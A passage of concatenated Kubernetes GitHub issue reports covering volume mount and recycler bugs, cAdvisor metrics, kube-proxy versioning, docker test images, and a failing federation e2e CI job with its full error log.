back to  ready  status but for some reason wasn't accepting http request to the exposed service ip.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r we weren't touching the cluster when the node stopped accepting requests, it was working for a week and then stopped at a seemingly random time.\r \r   anything else do we need to know  :\r \r not that i can think of, but let me know if there's any other information i can provide, unfortunatly the problem node has been deleted already but if it happens again i could run some commands to help diagnose the issue.

is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r \r sometimes our nfs pvs  with  persistentvolumereclaimpolicy: recycle   are not scrubbed  recycler pod isn't scheduled , when pvcs are deleted.\r \r   what you expected to happen  :\r \r either recycler pod should be scheduled or an error message should be logged.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it happens only occasionally. i see it, when our application throws exceptions because of the outdated data.\r \r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: null\r   labels:\r     app: redis\r     deployment: xxx\r     environment: xxx\r     role: xxx\r   name: xxx\r spec:\r   accessmodes:\r   - readwritemany\r   capacity:\r     storage: 32gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: xxx\r     namespace: xxx\r   nfs:\r     path: /share/xxx/yyy/zzz\r     server: xxx\r   persistentvolumereclaimpolicy: recycle\r status: {}\r    \r \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: null\r   name: xxx\r spec:\r   accessmodes:\r   - readwritemany\r   resources:\r     requests:\r       storage: 2gi\r   selector:\r     matchlabels:\r       app: redis\r       deployment: xxx\r       environment: xxx\r       role: xxx\r   volumename: xxx\r status: {}\r    \r \r   anything else we need to know?  :\r \r i  re- deploy with  kubectl delete --ignore-not-found=true -f <cm,svc,deploy> ,  kubectl delete --ignore-not-found=true -f <pvc>  and then  kubectl create -f <pvc> . pvcs are deleted successfully. i don’t see any errors in scheduler or apiserver logs and also nothing on the corresponding cluster nodes.  re- deployment always succeeds, but the app is occasionally using old data. what i   do   see in the logs, is that recycler   wasn't   scheduled. \r \r what would be the reasons for recycler   not   to schedule? where could i look for more info?\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.5\ , gitcommit:\ 490c6f13df1cb6612e0993c4c14f2ff90f8cdbf3\ , gittreestate:\ clean\ , builddate:\ 2017-06-14t20:15:53z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : hardware configuration\r - os  e.g. from /etc/os-release : container linux by coreos 1409.7.0  ladybug \r - kernel  e.g.  uname -a  : linux 4.11.11-coreos\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r    /assign\r \r   what happened  :\r   need to evaluate resource usage. \r   figure out how to support both local ssd deployment options. in the same cluster?\r   should it be opt-in instead of default?\r   do we want to support mix of local ssd as hostpath and local pv in the same cluster/across node pools?

i created a 200g disk with the command  gcloud compute disks create --size 200gb my-disk \r then created a persistentvolume\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: my-volume\r spec:\r   capacity:\r     storage: 200gi\r   accessmodes:\r     - readwriteonce\r   gcepersistentdisk:\r     pdname: my-disk\r     fstype: ext4\r    \r then created a persistentvolumeclaim\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: my-claim\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 200gi\r    \r then created a statefulset and mount the volume to /mnt/disks, which is an existing directory.\r    \r apiversion: apps/v1beta2\r kind: statefulset\r metadata:\r   name: ...\r spec:\r     ...\r     spec:\r       containers:\r       - name: ...\r         ...\r         volumemounts:\r         - name: my-volume\r           mountpath: /mnt/disks\r       volumes:\r       - name: my-volume\r         emptydir: {}\r   volumeclaimtemplates:\r   - metadata:\r       name: my-claim\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 200gi\r    \r i ran command  kubectl get pv  and saw that disk was successfully mounted to each instance\r    \r name                                       capacity   access modes   reclaim policy   status      claim                                    storageclass   reason    age\r my-volume                                  200gi      rwo            retain           available                                                                     19m\r pvc-17c60f45-2e4f-11e8-9b77-42010af0000e   200gi      rwo            delete           bound       default/my-claim-xxx_1   standard                 13m\r pvc-5972c804-2e4e-11e8-9b77-42010af0000e   200gi      rwo            delete           bound       default/my-claim                         standard                 18m\r pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e   200gi      rwo            delete           bound       default/my-claimxxx_0   standard                 18m\r    \r but when i ssh into an instance and run  df -ht , i do not see the mounted volume. below is the output:\r    \r filesystem     type      size  used avail use% mounted on\r /dev/root      ext2      1.2g  447m  774m  37% /\r devtmpfs       devtmpfs  1.9g     0  1.9g   0% /dev\r tmpfs          tmpfs     1.9g     0  1.9g   0% /dev/shm\r tmpfs          tmpfs     1.9g  744k  1.9g   1% /run\r tmpfs          tmpfs     1.9g     0  1.9g   0% /sys/fs/cgroup\r tmpfs          tmpfs     1.9g     0  1.9g   0% /tmp\r tmpfs          tmpfs     256k     0  256k   0% /mnt/disks\r /dev/sda8      ext4       12m   28k   12m   1% /usr/share/oem\r /dev/sda1      ext4       95g  3.5g   91g   4% /mnt/stateful_partition\r tmpfs          tmpfs     1.0m  128k  896k  13% /var/lib/cloud\r overlayfs      overlay   1.0m  148k  876k  15% /etc\r    \r anyone has any idea?\r \r also worth mentioning that i'm trying to mount the disk to a docker image which is running in kubernete engine. the pod was created with below commands:\r    \r     docker build -t gcr.io/xxx .\r     gcloud docker -- push gcr.io/xxx\r     kubectl create -f statefulset.yaml\r    \r the instance i sshed into is the one that runs the docker image. i do not see the volume in both instance and the docker container\r \r   update   i found the volume, i ran  df -aht  in the instance, and saw the relevant entries\r    \r     /dev/sdb       -               -     -     -    - /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/gke-xxx-cluster-c-pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/gke-xxx-cluster-c-pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/gke-xxx-cluster-c-pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/plugins/kubernetes.io/gce-pd/mounts/gke-xxx-cluster-c-pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /var/lib/kubelet/pods/61bb679b-2e4e-11e8-9b77-42010af0000e/volumes/kubernetes.io~gce-pd/pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /var/lib/kubelet/pods/61bb679b-2e4e-11e8-9b77-42010af0000e/volumes/kubernetes.io~gce-pd/pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/61bb679b-2e4e-11e8-9b77-42010af0000e/volumes/kubernetes.io~gce-pd/pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r     /dev/sdb       -               -     -     -    - /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/61bb679b-2e4e-11e8-9b77-42010af0000e/volumes/kubernetes.io~gce-pd/pvc-61b9daf9-2e4e-11e8-9b77-42010af0000e\r \r    \r then i went into the docker container and ran  df -aht , saw\r    \r     filesystem     type     size  used avail use% mounted on\r     /dev/sda1      ext4      95g  3.5g   91g   4% /mnt/disks\r    \r why i'm seeing 95g total size instead of 200g, which is the size of my volume?\r \r seems like it did not mount the correct volume. i ran  lsblk  in docker container\r <pre>\r name    maj:min rm  size ro type mountpoint\r \r     sda       8:0    0  100g  0 disk \r     ├─sda1    8:1    0 95.9g  0 part /mnt/disks\r     ├─sda2    8:2    0   16m  0 part \r     ├─sda3    8:3    0    2g  0 part \r     ├─sda4    8:4    0   16m  0 part \r     ├─sda5    8:5    0    2g  0 part \r     ├─sda6    8:6    0  512b  0 part \r     ├─sda7    8:7    0  512b  0 part \r     ├─sda8    8:8    0   16m  0 part \r     ├─sda9    8:9    0  512b  0 part \r     ├─sda10   8:10   0  512b  0 part \r     ├─sda11   8:11   0    8m  0 part \r     └─sda12   8:12   0   32m  0 part \r     sdb       8:16   0  200g  0 disk \r \r </pre>\r why this is happening?

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i get a \ failed to prepare subpath for volumemount\  error  createcontainerconfigerror  when trying to deploy on a 1.9.6-gke.1 node.\r \r   what you expected to happen  :\r \r i should be able to use subpaths on volume mounts, especially because the entire disk is read-only.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r     name: fomopop-website-deployment\r spec:\r     replicas: 3\r     template:\r         spec:\r             containers:\r                 - name: fomopop-website\r                   image: gcr.io/fomopop-disco-beach/fomopop-website:2018-04-17-12-05\r                   volumemounts:\r                       - name: fomopop-sheet-music\r                         subpath: website/content\r                         mountpath: /app/website/content\r                       - name: fomopop-sheet-music\r                         subpath: website/thumbs\r                         mountpath: /app/website/thumbs\r                       - name: fomopop-sheet-music\r                         subpath: website/site/accounts\r                         mountpath: /app/website/accounts\r             volumes:\r                 - name: fomopop-sheet-music\r                   gcepersistentdisk:\r                       pdname: fomopop-sheet-music-2018-04-17-12-08\r                       fstype: ext4\r                       readonly: true\r    \r \r   anything else we need to know?  :\r everything works fine on 1.9.3-gke.0 nodes.\r \r based on one error log message, it seems like there is a regression in previous defined/undefined behavior with regards to readonly volumes. the   volume   i am attempting to mount subpaths from is readonly. however, i previously _did not_ specify that the individual   volumemounts   should be readonly; i assumed it was obvious/clear that if the source volume is readonly, then the mount should be readonly.\r \r i've tried to add  readonly: true  to the volumemounts, but that gives no improvement. the logs still indicate that it's trying to mount it as read-write when it  probably?  shouldn't.\r \r error logs from node:\r    \r 2018-04-17 14:16:55.000 pdt\r e0417 21:16:55.296480 1331 kubelet_pods.go:248  failed to prepare subpath for volumemount \ fomopop-sheet-music\  of container \ fomopop-website\ : error mounting /var/lib/kubelet/pods/4d1cf26c-4283-11e8-8e1a-42010a800150/volumes/kubernetes.io~gce-pd/fomopop-sheet-music/website/content: mount failed: exit status 32\r \r 2018-04-17 14:17:33.000 pdt\r e0417 21:17:33.301247 1331 pod_workers.go:186  error syncing pod 4d1cf26c-4283-11e8-8e1a-42010a800150  \ fomopop-website-deployment-74cbf44bb9-8vgxl_default 4d1cf26c-4283-11e8-8e1a-42010a800150 \  , skipping: failed to \ startcontainer\  for \ fomopop-website\  with createcontainerconfigerror: \ failed to prepare subpath for volumemount \\\ fomopop-sheet-music\\\  of container \\\ fomopop-website\\\ \ \r \r 2018-04-17 14:17:46.000 pdt\r e0417 21:17:46.306213 1331 kuberuntime_manager.go:734  container start failed: createcontainerconfigerror: failed to prepare subpath for volumemount \ fomopop-sheet-music\  of container \ fomopop-website\ \r \r 2018-04-17 14:18:13.000 pdt\r e0417 21:18:13.296460 1331 kuberuntime_manager.go:734  container start failed: createcontainerconfigerror: failed to prepare subpath for volumemount \ fomopop-sheet-music\  of container \ fomopop-website\ \r \r 2018-04-17 14:18:37.000 pdt\r e0417 21:18:37.295800 1331 pod_workers.go:186  error syncing pod 4d1cf26c-4283-11e8-8e1a-42010a800150  \ fomopop-website-deployment-74cbf44bb9-8vgxl_default 4d1cf26c-4283-11e8-8e1a-42010a800150 \  , skipping: failed to \ startcontainer\  for \ fomopop-website\  with createcontainerconfigerror: \ failed to prepare subpath for volumemount \\\ fomopop-sheet-music\\\  of container \\\ fomopop-website\\\ \ \r \r 2018-04-17 14:21:42.000 pdt\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/4d1cf26c-4283-11e8-8e1a-42010a800150/volume-subpaths/fomopop-sheet-music/fomopop-website/0 --scope -- mount -o remount /proc/1331/fd/6 /var/lib/kubelet/pods/4d1cf26c-4283-11e8-8e1a-42010a800150/volume-subpaths/fomopop-sheet-music/fomopop-website/0\r \r 2018-04-17 14:23:07.000 pdt\r mount: cannot remount /var/lib/kubelet/pods/4d1cf26c-4283-11e8-8e1a-42010a800150/volumes/kubernetes.io~gce-pd/fomopop-sheet-music/website/content read-write, is write-protected\r \r 2018-04-17 14:24:40.000 pdt\r e0417 21:24:40.299188 1331 kuberuntime_manager.go:734  container start failed: createcontainerconfigerror: failed to prepare subpath for volumemount \ fomopop-sheet-music\  of container \ fomopop-website\ \r \r 2018-04-17 14:25:24.000 pdt\r e0417 21:25:24.268653 1331 mount_linux.go:145  mount failed: exit status 32\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r google kubernetes engine  gke \r \r - os  e.g. from /etc/os-release :\r    \r build_id=10323.69.0\r name=\ container-optimized os\ \r kernel_commit_id=94bdaa2af49562e7aba0168cae050911d105f5cb\r google_crash_id=lakitu\r version_id=65\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=65\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux gke-fomopop-website-clu-small-preempt-31ce5ba7-jrm6 4.4.111+  1 smp thu apr 5 21:21:21 pdt 2018 x86_64 intel \r r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux\r    \r \r - install tools:\r - others:\r \r @kubernetes/sig-storage-bugs\r 

the current node e2e tests include images using docker 1.11.x to 17.xx, with the pending pr to test 18.06  https://github.com/kubernetes/test-infra/pull/9444 \r \r we should update the images to drop older docker versions. i think we can start by getting rid of 1.11 and 1.12, so that we still have three minor versions tested: 18.xx, 17.xx, and 1.13.x\r \r /cc @kubernetes/sig-node-bugs \r @yguo0905  for cos and ubuntu

 \r kubernetes version 1.14.3\r \r running  just one pod, the number of open process handles increases and reaches 17090 over few hours\r \r ! image  https://user-images.githubusercontent.com/167835/59300685-6a988500-8c55-11e9-9aaf-3b45d479d1f2.png \r

discussion started on  21182.  if an image from a private registry has already been pulled onto a node, is there anything that prevents a pod without access to that registry from referencing and accessing the image?  cc @deads2k @dchen1107

hi i am following centos documentation and it appears it is for version 1.2. there is no  kube_etcd_servers=\ --etcd-servers=http://centos-master:4001\   in /etc/kubernetes config. however, it appears to be in /etc/kubernetes/apiserver. since the document covers older version where should configuration for  kube_etcd_servers=\ --etcd-servers=http://centos-master:4001\   be placed in version 2.0?

gce.conf is not even read while building the gce cloudprovider: https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/persistentvolume/label/admission.go l176  as such, multizone is ignored, and a pv in a zone other than that in which the apiserver is running cannot be created on gce.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no, this looks like a regression in v1.5.1\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubelet, metrics, cadvisor\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : os_image=\ container linux by coreos 1235.5.0  ladybug \r -   kernel    e.g.  uname -a  : linux ip-10-72-161-5 4.7.3-coreos-r2  1 smp sun jan 8 00:32:25 utc 2017 x86_64 intel r  xeon r  cpu e5-2680 v2 @ 2.80ghz genuineintel gnu/linux\r -   install tools  : \r -   others  :\r \r \r   what happened  : after upgrading to v1.5.1 cadvisor does not show any subcontainers, resulting in missing  all  container system metrics. for example:\r    \r core@ip-10-72-161-5 ~ $ curl localhost:10255/metrics | grep container_cpu_user_seconds_total\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100 44371  100 44371    0     0  5264  help container_cpu_user_seconds_total cumulative user cpu time consumed in seconds.\r k       type container_cpu_user_seconds_total counter\r  0 container_cpu_user_seconds_total{id=\ /\ } 0\r --:--:-- --:--:-- --:--:-- 6190k\r    \r \r   what you expected to happen  : cadviser returns sub-containers and container metrics like so:\r    \r core@ip-10-72-6-143 ~ $ curl localhost:10255/metrics | grep container_cpu_user_seconds_total | more\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  help container_cpu_user_seconds_total cumulative user cpu time consumed in seconds.\r   type container_cpu_user_seconds_total counter\r container_cpu_user_seconds_total{id=\ /\ } 2.74665981e+06\r container_cpu_user_seconds_total{id=\ /docker\ } 2.33384234e+06\r container_cpu_user_seconds_total{id=\ /init.scope\ } 6.26\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r upgrade kubelet to  v1.5.1  and check metrics:\r  via metrics endpoint:  curl localhost:10255/metrics  \r or via cadviser ui:  http://10.72.20.134:4194/containers/ \r \r   anything else do we need to know  :\r \r docker version:\r    \r docker version\r client:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.3\r  git commit:   34a2ead\r  built:        \r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.3\r  git commit:   34a2ead\r  built:        \r  os/arch:      linux/amd64\r    \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r \ kube-proxy version\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r 1.7.0-alpha.3\r \r   environment  :\r -   cloud provider or hardware configuration  : n/a\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2 lts  xenial xerus \r -   kernel    e.g.  uname -a  : linux smc-ubuntu 4.4.0-75-generic  96-ubuntu smp thu apr 20 09:56:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : n/a\r -   others  :\r \r \r   what happened  :\r \r i ran  kube-proxy --version , got an error instead of the version:\r    \r kube-proxy --version\r w0518 11:35:39.647049   73974 server.go:155  warning: all flags other than --config and --cleanup-iptables are deprecated. please begin using a config file asap.\r starting cpu profile\r w0518 11:35:39.685089   73974 server.go:314  neither --kubeconfig nor --master was specified. using default api client. this might not work.\r error: no configuration has been provided\r    \r \r   what you expected to happen  :\r \r  kube-proxy  prints its version\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r <check out 1.7.0-alpha.3>\r make kube-proxy\r _output/bin/kube-proxy --version\r    \r \r   anything else we need to know  :\r

i had a brief look and it wasn't clear enough how should i use the fake discovery client - also some calls seemed like they existed only to satisfy the discovery client interface. we should make sure the fake client is actually usable and start using it in unit tests  such as for https://github.com/kubernetes/kubernetes/pull/47450 \r \r https://github.com/kubernetes/client-go/blob/master/discovery/fake/discovery.go\r \r 

ref: https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-federation-e2e-gce?\r \r pr job seems started failing since 11:39 am today.\r \r sample error message from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50099/pull-kubernetes-federation-e2e-gce/23847/:\r    \r w0828 22:39:08.049  2017/08/28 22:39:08 main.go:233: something went wrong: error starting federation: error during ./federation/cluster/federation-up.sh: exit status 124\r w0828 22:39:08.886  run:  'sudo', 'chmod', '-r', 'o+r', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes/_artifacts' \r w0828 22:39:08.896  traceback  most recent call last :\r w0828 22:39:08.897    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 682, in <module>\r w0828 22:39:08.897      main parse_args   \r w0828 22:39:08.897    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 545, in main\r w0828 22:39:08.897      mode.start runner_args \r w0828 22:39:08.897    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 346, in start\r w0828 22:39:08.897      check  cmd \r w0828 22:39:08.897    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 47, in check\r w0828 22:39:08.898      subprocess.check_call cmd \r w0828 22:39:08.898    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w0828 22:39:08.898      raise calledprocesserror retcode, cmd \r w0828 22:39:08.899  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm', '--name=pull-kubernetes-federation-e2e-gce-23847', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes/_artifacts:/workspace/_artifacts', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-e', 'home=/workspace', '-e', 'workspace=/workspace', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/../jobs/platform/gce.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/../jobs/env/pull-kubernetes-e2e.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/../jobs/env/pull-kubernetes-federation-e2e-gce.env', '-e', 'kubetest_manual_dump=y', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/708748ad-ebba-4850-90a1-26303be2ad02/kubernetes-jenkins-pull-c67f9519f993.json:/service-account.json:ro', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/release:/go/src/k8s.io/release', '-v', '/home/jenkins/.ssh/google_compute_engine:/workspace/.ssh/google_compute_engine:ro', '-v', '/home/jenkins/.ssh/google_compute_engine.pub:/workspace/.ssh/google_compute_engine.pub:ro', '-e', 'jenkins_gce_ssh_private_key_file=/workspace/.ssh/google_compute_engine', '-e', 'jenkins_gce_ssh_public_key_file=/workspace/.ssh/google_compute_engine.pub', '-e', 'jenkins_home=/var/lib/jenkins', '-e', 'pull_base_ref=master', '-e', 'build_cause=manualtrigger', '-e', 'hudson_url=http://goto.google.com/prkubekins/', '-e', 'build_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/23847/', '-e', 'bootstrap_migration=yes', '-e', 'cloudsdk_config=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes/.config/gcloud', '-e', 'build_tag=jenkins-pull-kubernetes-federation-e2e-gce-23847', '-e', 'hudson_server_cookie=32617aabcc4952a0', '-e', 'jenkins_url=http://goto.google.com/prkubekins/', '-e', 'logname=jenkins', '-e', 'user=jenkins', '-e', 'node_labels=agent-pr-06 pull', '-e', 'job_name=pull-kubernetes-federation-e2e-gce', '-e', 'lang=en_us.utf-8', '-e', 'run_display_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/23847/display/redirect', '-e', 'shell=/bin/bash', '-e', 'buildid=4dca5e06-8c39-11e7-9428-0a580a6c115c', '-e', 'hudson_home=/var/lib/jenkins', '-e', 'job_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/', '-e', 'root_build_cause_manualtrigger=true', '-e', 'build_cause_manualtrigger=true', '-e', 'gcs_artifacts_dir=gs://kubernetes-jenkins/pr-logs/pull/50099/pull-kubernetes-federation-e2e-gce/23847/artifacts', '-e', 'jenkins_aws_credentials_file=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/ac33e675-5609-4f8c-a20c-3837c8dfe4a6/kubernetespresubmittests.txt', '-e', 'root_build_cause=manualtrigger', '-e', 'ssh_client=10.240.0.2 40997 22', '-e', 'build_id=23847', '-e', 'build_number=23847', '-e', 'xdg_runtime_dir=/run/user/1000', '-e', 'hudson_cookie=96079c52-e391-4cf3-b735-e891e8d48b4a', '-e', 'jenkins_aws_ssh_private_key_file=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/c25dc1d7-4fb4-4673-9925-6aa56e422a19/id_rsa.jenkins', '-e', 'job_base_name=pull-kubernetes-federation-e2e-gce', '-e', 'run_changes_display_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/23847/display/redirect?page=changes', '-e', 'xdg_session_id=484', '-e', 'jenkins_gce_ssh_public_key_file=/home/jenkins/.ssh/google_compute_engine.pub', '-e', '_=./test-infra/jenkins/bootstrap.py', '-e', 'oldpwd=/home/jenkins', '-e', 'job_display_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/display/redirect', '-e', 'jenkins_aws_ssh_public_key_file=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/27c18c25-c90d-43bf-8447-d0de3f2083fc/id_rsa.jenkins.pub', '-e', 'executor_number=0', '-e', 'node_name=agent-pr-06', '-e', 'pull_number=50099', '-e', 'shlvl=2', '-e', 'jenkins_server_cookie=32617aabcc4952a0', '-e', 'build_display_name= 23847', '-e', 'pull_refs=master:a64eeb47f6ed4aa2587113793a76878b876809f9,50099:55339f30acd9fbad60d651e419ba50b08fa7245a', '-e', 'jenkins_gce_ssh_private_key_file=/home/jenkins/.ssh/google_compute_engine', '-e', 'mail=/var/mail/jenkins', '-e', 'ssh_connection=10.240.0.2 40997 10.240.0.61 22', '-e', 'cloudsdk_component_manager_disable_update_check=true', '-e', 'cloudsdk_experimental_fast_component_update=false', '-e', 'kube_aws_instance_prefix=e2e-23847', '-e', 'instance_prefix=e2e-23847', '-e', 'kube_gce_instance_prefix=e2e-23847', 'gcr.io/k8s-testimages/kubekins-e2e:v20170728-faff708c', '-v', '--dump=/workspace/_artifacts', '--gcp-service-account=/service-account.json', '--build', '--up', '--down', '--test', '--cluster=e2e-23847', '--gcp-network=e2e-23847', '--deployment=none', '--extract=local', '--federation', '--gcp-project=k8s-jkns-pr-bldr-e2e-gce-fdrtn', '--gcp-zone=us-central1-f', '--multiple-federations', '--provider=gce', '--save=gs://kubernetes-jenkins/federation/ci-kubernetes-pull-gce-federation-deploy', '--stage=gs://kubernetes-release-pull/ci/pull-kubernetes-federation-e2e-gce', '--test_args=--ginkgo.focus=\\\\ feature:federation\\\\  --ginkgo.skip=\\\\ slow\\\\ |\\\\ serial\\\\ |\\\\ disruptive\\\\ |\\\\ flaky\\\\ |\\\\ nocluster\\\\  --minstartuppods=8', '--timeout=90m' ' returned non-zero exit status 1\r i0828 22:39:08.905  starting pull-kubernetes-federation-e2e-gce-23847...\r e0828 22:39:08.906  command failed\r i0828 22:39:08.906  process 26112 exited with code 1 after 41.3m\r e0828 22:39:08.906  fail: pull-kubernetes-federation-e2e-gce\r    \r \r  / @kubernetes/kubernetes-build-cops

